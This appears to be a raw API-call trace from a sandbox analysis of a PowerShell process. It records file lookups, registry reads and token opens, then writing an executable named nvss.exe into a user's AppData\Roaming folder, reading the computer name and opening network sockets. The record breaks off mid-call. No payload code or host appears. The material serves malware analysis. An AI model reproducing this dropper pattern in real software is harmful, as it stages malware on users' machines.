GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0054.464] GetLastError () returned 0x2 [0054.464] SetErrorMode (uMode=0x1) returned 0x1 [0054.465] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.psd1", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.465] GetLastError () returned 0x2 [0054.465] SetErrorMode (uMode=0x1) returned 0x1 [0054.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0054.465] GetLastError () returned 0x2 [0054.465] SetErrorMode (uMode=0x1) returned 0x1 [0054.465] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.COM", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0xffffffff [0054.465] GetLastError () returned 0x2 [0054.465] SetErrorMode (uMode=0x1) returned 0x1 [0054.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x105, lpBuffer=0x5c7e870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0054.465] GetLastError () returned 0x2 [0054.465] SetErrorMode (uMode=0x1) returned 0x1 [0054.465] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.EXE", lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0x2dddc0 [0054.465] GetLastError () returned 0x2 [0054.466] FindNextFileW (in: hFindFile=0x2dddc0, lpFindFileData=0x3523c0 | out: lpFindFileData=0x3523c0) returned 0 [0054.466] GetLastError () returned 0x12 [0054.466] FindClose (in: hFindFile=0x2dddc0 | out: hFindFile=0x2dddc0) returned 1 [0054.466] SetErrorMode (uMode=0x1) returned 0x1 [0054.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x5c7e958, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0054.468] GetLastError () returned 0x12 [0054.468] SetErrorMode (uMode=0x1) returned 0x1 [0054.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x5c7edd8 | out: lpFileInformation=0x5c7edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3496a3ab, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3496a3ab, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6cea27f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6e800)) returned 1 [0054.468] GetLastError () returned 0x12 [0054.469] SetErrorMode (uMode=0x1) returned 0x1 [0054.472] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.472] GetLastError () returned 0xcb [0054.472] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.472] GetLastError () returned 0xcb [0054.474] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.474] GetLastError () returned 0xcb [0054.497] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.497] GetLastError () returned 0xcb [0054.709] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.709] GetLastError () returned 0xcb [0054.710] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21 [0054.710] GetLastError () returned 0xcb [0054.722] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x3521c8, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21 [0054.722] GetLastError () returned 0xcb [0054.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5c7e6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0054.928] GetLastError () returned 0xcb [0054.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5c7e674, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0054.928] GetLastError () returned 0xcb [0054.932] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3523c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0054.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x5c7e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0054.932] GetLastError () returned 0x0 [0054.945] GetCurrentProcess () returned 0xffffffff [0054.945] GetLastError () returned 0x3f0 [0054.945] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e80c | out: TokenHandle=0x5c7e80c*=0x344) returned 1 [0054.945] GetLastError () returned 0x3f0 [0054.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x5c7e3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0054.949] GetLastError () returned 0x0 [0054.952] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5c7e84c | out: lpFileInformation=0x5c7e84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0054.952] GetLastError () returned 0x0 [0054.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x5c7e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0054.954] GetLastError () returned 0x0 [0054.954] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5c7e848 | out: lpFileInformation=0x5c7e848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0054.954] GetLastError () returned 0x0 [0054.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x5c7e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0054.954] GetLastError () returned 0x0 [0054.954] SetErrorMode (uMode=0x1) returned 0x1 [0054.954] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b4 [0054.954] GetLastError () returned 0x0 [0054.954] GetFileType (hFile=0x3b4) returned 0x1 [0054.954] SetErrorMode (uMode=0x1) returned 0x1 [0054.954] GetFileType (hFile=0x3b4) returned 0x1 [0054.956] GetFileSize (in: hFile=0x3b4, lpFileSizeHigh=0x5c7e81c | out: lpFileSizeHigh=0x5c7e81c*=0x0) returned 0x65b3 [0054.956] GetLastError () returned 0x0 [0054.956] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0054.956] GetLastError () returned 0x0 [0054.958] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e5e4, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e5e4*=0x1000, lpOverlapped=0x0) returned 1 [0054.958] GetLastError () returned 0x0 [0054.958] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e48c, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e48c*=0x1000, lpOverlapped=0x0) returned 1 [0054.958] GetLastError () returned 0x0 [0054.958] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e48c, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e48c*=0x1000, lpOverlapped=0x0) returned 1 [0054.959] GetLastError () returned 0x0 [0054.959] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e48c, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e48c*=0x1000, lpOverlapped=0x0) returned 1 [0054.959] GetLastError () returned 0x0 [0054.964] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e5c0, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e5c0*=0x1000, lpOverlapped=0x0) returned 1 [0054.964] GetLastError () returned 0x0 [0054.964] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e454, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e454*=0x5b3, lpOverlapped=0x0) returned 1 [0054.964] GetLastError () returned 0x0 [0054.964] ReadFile (in: hFile=0x3b4, lpBuffer=0x2bad3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5c7e540, lpOverlapped=0x0 | out: lpBuffer=0x2bad3c8*, lpNumberOfBytesRead=0x5c7e540*=0x0, lpOverlapped=0x0) returned 1 [0054.965] GetLastError () returned 0x0 [0054.966] CloseHandle (hObject=0x3b4) returned 1 [0054.966] GetLastError () returned 0x0 [0054.968] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5c7e6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0054.968] GetLastError () returned 0x0 [0054.968] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5c7e674, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0054.968] GetLastError () returned 0x0 [0054.968] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3523c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0054.968] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x5c7e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0054.968] GetLastError () returned 0x0 [0054.968] GetCurrentProcess () returned 0xffffffff [0054.968] GetLastError () returned 0x3f0 [0054.968] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7ea9c | out: TokenHandle=0x5c7ea9c*=0x3b4) returned 1 [0054.968] GetLastError () returned 0x3f0 [0054.969] GetCurrentProcess () returned 0xffffffff [0054.969] GetLastError () returned 0x3f0 [0054.969] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7ea9c | out: TokenHandle=0x5c7ea9c*=0x35c) returned 1 [0054.969] GetLastError () returned 0x3f0 [0054.970] GetCurrentProcess () returned 0xffffffff [0054.970] GetLastError () returned 0x3f0 [0054.970] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e80c | out: TokenHandle=0x5c7e80c*=0x3b8) returned 1 [0054.970] GetLastError () returned 0x3f0 [0054.970] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x5c7e84c | out: lpFileInformation=0x5c7e84c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.970] GetLastError () returned 0x2 [0054.970] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5c7e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0054.970] GetLastError () returned 0x2 [0054.970] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x5c7e848 | out: lpFileInformation=0x5c7e848*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.970] GetLastError () returned 0x2 [0054.970] GetCurrentProcess () returned 0xffffffff [0054.970] GetLastError () returned 0x3f0 [0054.970] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7ea9c | out: TokenHandle=0x5c7ea9c*=0x364) returned 1 [0054.970] GetLastError () returned 0x3f0 [0054.970] GetCurrentProcess () returned 0xffffffff [0054.970] GetLastError () returned 0x3f0 [0054.970] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7ea9c | out: TokenHandle=0x5c7ea9c*=0x368) returned 1 [0054.971] GetLastError () returned 0x3f0 [0054.982] GetCurrentProcess () returned 0xffffffff [0054.982] GetLastError () returned 0x3f0 [0054.982] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e878 | out: TokenHandle=0x5c7e878*=0x36c) returned 1 [0054.982] GetLastError () returned 0x3f0 [0055.000] GetCurrentProcess () returned 0xffffffff [0055.000] GetLastError () returned 0x3f0 [0055.001] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e888 | out: TokenHandle=0x5c7e888*=0x370) returned 1 [0055.001] GetLastError () returned 0x3f0 [0055.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x5c7e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0055.003] GetLastError () returned 0x3f0 [0055.003] SetErrorMode (uMode=0x1) returned 0x1 [0055.003] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x374 [0055.004] GetLastError () returned 0x0 [0055.004] GetFileType (hFile=0x374) returned 0x1 [0055.004] SetErrorMode (uMode=0x1) returned 0x1 [0055.004] GetFileType (hFile=0x374) returned 0x1 [0055.004] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x378 [0055.004] GetLastError () returned 0x0 [0055.005] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x37c [0055.005] GetLastError () returned 0x0 [0055.010] GetCurrentProcess () returned 0xffffffff [0055.010] GetLastError () returned 0x3f0 [0055.010] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e89c | out: TokenHandle=0x5c7e89c*=0x380) returned 1 [0055.010] GetLastError () returned 0x3f0 [0055.013] GetCurrentProcess () returned 0xffffffff [0055.013] GetLastError () returned 0x3f0 [0055.013] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e8ac | out: TokenHandle=0x5c7e8ac*=0x3bc) returned 1 [0055.013] GetLastError () returned 0x3f0 [0055.019] GetCurrentProcess () returned 0xffffffff [0055.019] GetLastError () returned 0x3f0 [0055.020] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e870 | out: TokenHandle=0x5c7e870*=0x3a4) returned 1 [0055.020] GetLastError () returned 0x3f0 [0055.022] GetCurrentProcess () returned 0xffffffff [0055.022] GetLastError () returned 0x3f0 [0055.022] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e880 | out: TokenHandle=0x5c7e880*=0x3c8) returned 1 [0055.022] GetLastError () returned 0x3f0 [0055.024] GetCurrentProcess () returned 0xffffffff [0055.024] GetLastError () returned 0x3f0 [0055.024] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7eb74 | out: TokenHandle=0x5c7eb74*=0x3cc) returned 1 [0055.024] GetLastError () returned 0x3f0 [0055.047] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x5c7dbd4 | out: phkResult=0x5c7dbd4*=0x3d0) returned 0x0 [0055.047] RegQueryValueExW (in: hKey=0x3d0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x5c7dc1c, lpData=0x0, lpcbData=0x5c7dc18*=0x0 | out: lpType=0x5c7dc1c*=0x1, lpData=0x0, lpcbData=0x5c7dc18*=0xe) returned 0x0 [0055.048] RegQueryValueExW (in: hKey=0x3d0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x5c7dc1c, lpData=0x3523c0, lpcbData=0x5c7dc18*=0xe | out: lpType=0x5c7dc1c*=0x1, lpData="Client", lpcbData=0x5c7dc18*=0xe) returned 0x0 [0055.048] RegCloseKey (hKey=0x3d0) returned 0x0 [0055.056] RasEnumConnectionsW (in: param_1=0x355988, param_2=0x5c7ebec, param_3=0x5c7ebf0 | out: param_1=0x355988, param_2=0x5c7ebec, param_3=0x5c7ebf0) returned 0x0 [0055.065] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x355988 | out: lpWSAData=0x355988) returned 0 [0055.069] GetLastError () returned 0x0 [0055.072] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x41c [0055.077] GetLastError () returned 0x0 [0055.077] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0055.077] GetLastError () returned 0x273a [0055.077] closesocket (s=0x41c) returned 0 [0055.077] GetLastError () returned 0x0 [0055.078] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x41c [0055.080] GetLastError () returned 0x0 [0055.080] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0055.080] GetLastError () returned 0x273a [0055.080] closesocket (s=0x41c) returned 0 [0055.080] GetLastError () returned 0x0 [0055.082] GetCurrentProcess () returned 0xffffffff [0055.082] GetLastError () returned 0x3f0 [0055.082] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e758 | out: TokenHandle=0x5c7e758*=0x41c) returned 1 [0055.082] GetLastError () returned 0x3f0 [0055.085] GetCurrentProcess () returned 0xffffffff [0055.085] GetLastError () returned 0x3f0 [0055.085] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5c7e768 | out: TokenHandle=0x5c7e768*=0x420) returned 1 [0055.085] GetLastError () returned 0x3f0 [0055.090] GetCurrentProcessId () returned 0xa40 [0055.090] GetComputerNameW (in: lpBuffer=0x355988, nSize=0x2bce3cc | out: lpBuffer="XABNCPUWKW", nSize=0x2bce3cc) returned 1 [0055.091] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x5c7e9bc | out: phkResult=0x5c7e9bc*=0x424) returned 0x0 [0055.091] RegQueryValueExW (in: hKey=0x424, lpValueName="Library", lpReserved=0x0, lpType=0x5c7ea04, lpData=0x0, lpcbData=0x5c7ea00*=0x0 | out: lpType=0x5c7ea04*=0x1, lpData=0x0, lpcbData=0x5c7ea00*=0x1c) returned 0x0 [0055.091] RegQueryValueExW (in: hKey=0x424, lpValueName="Library", lpReserved=0x0, lpType=0x5c7ea04, lpData=0x355988, lpcbData=0x5c7ea00*=0x1c | out: lpType=0x5c7ea04*=0x1, lpData="netfxperf.dll", lpcbData=0x5c7ea00*=0x1c) returned 0x0 [0055.091] RegQueryValueExW (in: hKey=0x424, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x5c7ea04, lpData=0x0, lpcbData=0x5c7ea00*=0x0 | out: lpType=0x5c7ea04*=0x4, lpData=0x0, lpcbData=0x5c7ea00*=0x4) returned 0x0 [0055.092] RegQueryValueExW (in: hKey=0x424, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x5c7ea04, lpData=0x5c7e9f0, lpcbData=0x5c7ea00*=0x4 | out: lpType=0x5c7ea04*=0x4, lpData=0x5c7e9f0*=0x1, lpcbData=0x5c7ea00*=0x4) returned 0x0 [0055.093] RegQueryValueExW (in: hKey=0x424, lpValueName="First Counter", lpReserved=0x0, lpType=0x5c7ea04, lpData=0x0, lpcbData=0x5c7ea00*=0x0 | out: lpType=0x5c7ea04*=0x4, lpData=0x0, lpcbData=0x5c7ea00*=0x4) returned 0x0 [0055.093] RegQueryValueExW (in: hKey=0x424, lpValueName="First Counter", lpReserved=0x0, lpType=0x5c7ea04, lpData=0x5c7e9f0, lpcbData=0x5c7ea00*=0x4 | out: lpType=0x5c7ea04*=0x4, lpData=0x5c7e9f0*=0x137a, lpcbData=0x5c7ea00*=0x4) returned 0x0 [0055.093] RegCloseKey (hKey=0x424) returned 0x0 [0055.093] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x5c7e9b8 | out: phkResult=0x5c7e9b8*=0x424) returned 0x0 [0055.095] RegQueryValueExW (in: hKey=0x424, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x5c7ea00, lpData=0x0, lpcbData=0x5c7e9fc*=0x0 | out: lpType=0x5c7ea00*=0x4, lpData=0x0, lpcbData=0x5c7e9fc*=0x4) returned 0x0 [0055.095] RegQueryValueExW (in: hKey=0x424, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x5c7ea00, lpData=0x5c7e9ec, lpcbData=0x5c7e9fc*=0x4 | out: lpType=0x5c7ea00*=0x4, lpData=0x5c7e9ec*=0x3, lpcbData=0x5c7e9fc*=0x4) returned 0x0 [0055.095] RegQueryValueExW (in: hKey=0x424, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x5c7ea00, lpData=0x0, lpcbData=0x5c7e9fc*=0x0 | out: lpType=0x5c7ea00*=0x4, lpData=0x0, lpcbData=0x5c7e9fc*=0x4) returned 0x0 [0055.095] RegQueryValueExW (in: hKey=0x424, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x5c7ea00, lpData=0x5c7e9ec, lpcbData=0x5c7e9fc*=0x4 | out: lpType=0x5c7ea00*=0x4, lpData=0x5c7e9ec*=0x20000, lpcbData=0x5c7e9fc*=0x4) returned 0x0 [0055.095] RegQueryValueExW (in: hKey=0x424, lpValueName="Counter Names", lpReserved=0x0, lpType=0x5c7ea00, lpData=0x0, lpcbData=0x5c7e9fc*=0x0 | out: lpType=0x5c7ea00*=0x3, lpData=0x0, lpcbData=0x5c7e9fc*=0xaa) returned 0x0 [0055.095] RegQueryValueExW (in: hKey=0x424, lpValueName="Counter Names", lpReserved=0x0, lpType=0x5c7ea00, lpData=0x2bd0b24, lpcbData=0x5c7e9fc*=0xaa | out: lpType=0x5c7ea00*=0x3, lpData=0x2bd0b24*, lpcbData=0x5c7e9fc*=0xaa) returned 0x0 [0055.097] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0055.098] GetLastError () returned 0x0 [0055.100] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x352390, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x428 [0055.100] GetLastError () returned 0x0 [0055.101] MapViewOfFile (hFileMappingObject=0x428, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x51d0000 [0055.102] VirtualQuery (in: lpAddress=0x51d0000, lpBuffer=0x5c7e9d0, dwLength=0x1c | out: lpBuffer=0x5c7e9d0*(BaseAddress=0x51d0000, AllocationBase=0x51d0000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0055.102] GetLastError () returned 0x0 [0055.102] LocalFree (hMem=0x34fb50) returned 0x0 [0055.102] RegCloseKey (hKey=0x424) returned 0x0 [0055.104] GetVersionExW (in: lpVersionInformation=0x355988*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, 